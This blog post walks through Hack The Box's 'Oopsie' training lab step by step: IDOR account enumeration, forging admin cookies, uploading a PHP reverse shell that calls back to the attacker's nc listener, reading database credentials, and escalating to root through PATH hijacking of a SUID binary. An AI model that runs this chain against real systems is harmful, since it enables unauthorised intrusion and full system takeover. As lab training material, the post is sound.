DEV Community

Cover image for Hack The Box — Oopsie Walkthrough
MOHAMMED ALISMAIL
MOHAMMED ALISMAIL

Posted on

Hack The Box — Oopsie Walkthrough

Overview

Oopsie is an entry-level Linux machine on Hack The Box (Starting Point). The attack chain involves:

  1. Enumerating web directories and discovering a hidden login portal.
  2. Exploiting an Insecure Direct Object Reference (IDOR) vulnerability to obtain admin session cookies.
  3. Bypassing upload restrictions to deploy a PHP reverse shell.
  4. Escalating privileges to root via PATH Hijacking on a custom SUID binary (bugtracker).

Firstly we need <IP> to recon with nmap

We have IP: 10.129.92.21

1. Reconnaissance & Enumeration

Connecting to the VPN

First, connect to the Hack The Box network using OpenVPN:

sudo openvpn <your_vpn_file>.ovpn
Enter fullscreen mode Exit fullscreen mode

2. NMAP

  • Tab 2:

nmap -sC -sV [IP]

Port Description
-sV Version Detection: Detects service versions running on open ports.
-sC Default Scripts: Runs a set of standard scripts (NSE) to check for common vulnerabilities and gather safe, additional info.
-oN Normal Output: Saves the scan results to a standard text file.
-p- All Ports Scan: Scans all 65,535 ports instead of just the top 1000 common ports.
-sS TCP SYN Scan: Performs a stealthy and fast SYN scan (default for root users).
-O OS Detection: Attempts to identify the target's operating system.
-T<0-5> Best Time is (is Faster) Timing Templates: Controls the speed and aggressiveness of the scan (from T0 paranoid to T5 insane).
-Pn No Ping: Skips host discovery and treats all targets as online (useful behind strict firewalls).
-A Aggressive Scan: Enables OS detection, version detection, script scanning, and traceroute.

Result

└─$ nmap -sC -sV <IP>
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 03:10 +0300
Nmap scan report for 10.129.92.21
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Enter fullscreen mode Exit fullscreen mode

opened the ssh and http port

2. CHECK FOR THE PORT [HTTP]

open browser with URL:

http://<IP>:80
MegaCorp Automotive homepage on port 80

don’t any tap work

  • Note: now we want to know the pages

    we need to use Burpsuite

2. CHECK FOR THE PAGES WITH BURP [connect the proxy]

  • The IP Proxy [127.0.0.1:8080]

connect with browser 👈

  • settings > proxy > change to [Manual proxy configuration] > OK 👇 to can take every traffic Browser Manual Proxy Configuration set to 127.0.0.1:8080
  • Burpsuite > Target > now we have everything in browser 👇
    Burp Suite Target Site Map showing /cdn-cgi/login path
    we show a page have a login at path */cdn-cgi/login*

  • now we back to browser to explore the path

http://<IP>/cdn-cgi/login

  • open the login page 👇 Login page at /cdn-cgi/login with Login as Guest option
  • we’ll choose the [Login as Guest]
  • after we choosed now we found he [Uploads] page: Repair Management System navigation bar showing the Uploads tab when we click to [Uploads] gave me the message: This action require super admin rights. Error message stating super admin rights are required to upload mean only the admin can uploads
  • now a click to Account tab Guest account details page with id=2 in the URL

when i click to [Account] the url changed to:

http://<IP>/cdn-cgi/login/admin.php?content=accounts&id=2
Enter fullscreen mode Exit fullscreen mode

it’s mean the URL have a IDOR vulnerability, I’ll try to change the [id=?] to can access the admin:
Admin account details revealed by changing URL parameter to id=1
when i change he id to [1] can i view the admin account

  • now i’ll change the cookies to can access from any place, any time:
  • the changed can be: Right-Click > Inspector > Storage > Cookies >change values from guest to admin information
  • From: Original guest session cookies in Browser Developer Tools
  • To: Modified cookies updated with admin user ID and role After changed we do [Refresh] >>> NOW WE’RE ADMIN

what is mean?

we can open the [ Uploads ] tab … meaning we can upload a malicious code (Reverse shell)
Branding Image Uploads form accessible after gaining admin privileges

3. Reverse shell

  • Tab 2:

kali-linux have a wordlist to php injection path is [/usr/share/webshells/php/php-reverse-shell.php]
Locating php-reverse-shell.php inside /usr/share/webshells/php

ifconfig
Enter fullscreen mode Exit fullscreen mode

Result

└─$ ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet <u>*~~10.10.14.182~~*</u>  netmask 255.255.254.0  destination 10.10.14.182
        inet6 fe80::d6fd:2213:1b19:23ca  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef:2::10b4  prefixlen 64  scopeid 0x0<global>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 500  (UNSPEC)
        RX packets 4639  bytes 2170800 (2.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4921  bytes 465164 (454.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
Enter fullscreen mode Exit fullscreen mode
  • Now we show the code [php-reverse-shell.php] to give it the correct IP and PORT:

Now:

$ip = '10.10.14.182'; 
$port = 4444;
Enter fullscreen mode Exit fullscreen mode

Configuring attacker IP and port inside php-reverse-shell.php

4. nc [listener]

  • Tab 3:
nc -lvnp 4444 // 4444 is a random 
Enter fullscreen mode Exit fullscreen mode

Result

└─$ nc -lvnp 4444         
    listening on [any] 4444 ...
Enter fullscreen mode Exit fullscreen mode

5. Upload the shell to the web:

  • when uploading give me the message is: Confirmation message showing php-reverse-shell.php uploaded successfully NOTE: now we don’t know the paths (what we can do?)

6. FFUF // FFUF is a tool for check the hidden directories

  • Tab 4:
ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -ic

Enter fullscreen mode Exit fullscreen mode
  • [FUZZ] mean here use the wordlist (this wordlist populer in webshell)

Result

└─$ ffuf -path       

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://<IP>/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

            [Status: 200, Size: 10932, Words: 1345, Lines: 479, Duration: 201ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 204ms]
themes                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 530ms]
uploads                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 430ms]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 187ms]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 198ms]
fonts                   [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 196ms]
Enter fullscreen mode Exit fullscreen mode

The Result give me the path name [uploads] with the file name shell, now we use the path to run the shell to nc give me the reverse shell and access to he machine

http://<IP>/uploads/php-reverse-shell.php
Enter fullscreen mode Exit fullscreen mode

when we enter the path, the nc give me the access:

Result nc

└─$ nc -lvnp 4444
listening on [any] 4444 ...

connect to [10.10.14.182] from (UNKNOWN) [10.129.92.21] 45962
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 01:49:59 up  2:29,  0 users,  load average: 0.00, 0.06, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ $ 
Enter fullscreen mode Exit fullscreen mode

now we type the command o give me the Fully Interactive TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

7. After we access to the shell we need to find the flag:

Flag user:

f2c74ee8db798*************

password robert = M3g4C0rpUs3r!

8. Chack how many users:

cat /etc/passwd
Enter fullscreen mode Exit fullscreen mode

Result

└─$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false 
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
robert:x:1000:1000:robert:/home/robert:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
Enter fullscreen mode Exit fullscreen mode

The users is:

  1. root
  2. robert
  3. www-data

9. Chack the path [cdn-cgi]

cd /var/www/html/cdn-cgi/login
Enter fullscreen mode Exit fullscreen mode

Result

└─$ ls
admin.php  db.php  index.php  script.js

Enter fullscreen mode Exit fullscreen mode
  • we see database in the file [db.php], show it:
└─$ cat db.php
<?php
$conn = mysqli_connect('localhost','**robert**','**M3g4C0rpUs3r!**','garage');
?>
Enter fullscreen mode Exit fullscreen mode

10. Privilege Escalation

su robert
Enter fullscreen mode Exit fullscreen mode

Result

└─$ su robert
su robert
Password: M3g4C0rpUs3r!

now i'm robert user
Enter fullscreen mode Exit fullscreen mode

11. Privilege Escalation

id
Enter fullscreen mode Exit fullscreen mode

Result

└─$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Enter fullscreen mode Exit fullscreen mode

mean i can’t do anything for root

12. Exploiting Privilege Escalation Vulnerability in Bugtracker

Let's try to see if there is any binary within that group. We found a file named bug tracker. We check what privileges and what type of file is it.

  • when do <id>command i show group [1001(bugtracker)], what we do?
locate bugtracker    
Enter fullscreen mode Exit fullscreen mode

OR

find / -group bugtracker 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

Result

└─$ locate bugtracker
/usr/bin/bugtracker 
Enter fullscreen mode Exit fullscreen mode
  • Now we analyze the privileges and permissions of the binary /usr/bin/bugtracker by running
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
Enter fullscreen mode Exit fullscreen mode

Result

└─$ ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
<u>**-rwsr-xr--**</u> 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker
/usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped
Enter fullscreen mode Exit fullscreen mode
  • denoting that the owner, i.e., root, executes the files

Now, our objective is to create a new cat file in /tmp directory that when run would spawn a shell. The sequence of steps to accomplish this is as follows:

cd /tmp
Enter fullscreen mode Exit fullscreen mode
/tmp$ echo "/bin/sh" > cat   >>  To write /bin/sh into a new file named cat.

/tmp$ chmod +x cat           >>  To change the permission (give it all access)

/tmp$ echo $PATH             >>  Let’s see what happens when we enter the command.
<u>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games</u>

:file_/tmp_isn't_from_the_Priority_we_do_it

/tmp export PATH=/tmp:$PATH  >>  to give it the first Priority< let's see it:

/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/
<u>the /tmp is firstly</u>
Enter fullscreen mode Exit fullscreen mode
  • let’s runing
tmp$ /usr/bin/bugtracker
Enter fullscreen mode Exit fullscreen mode

Result

└─$ tmp$ /usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 13
13
---------------
# whoami

root                                >> Now i'm a root on the machine
Enter fullscreen mode Exit fullscreen mode
  • let’s find the root flag
─$ # ls
:cat
# cd /root                           >> it's the <u>/root</u> directory 
:/root
# ls
:reports :root.txt
# more root.txt
:af13b0bee69f8a***************    >> it's the root flag
Enter fullscreen mode Exit fullscreen mode

Oopsie Finish

Top comments (0)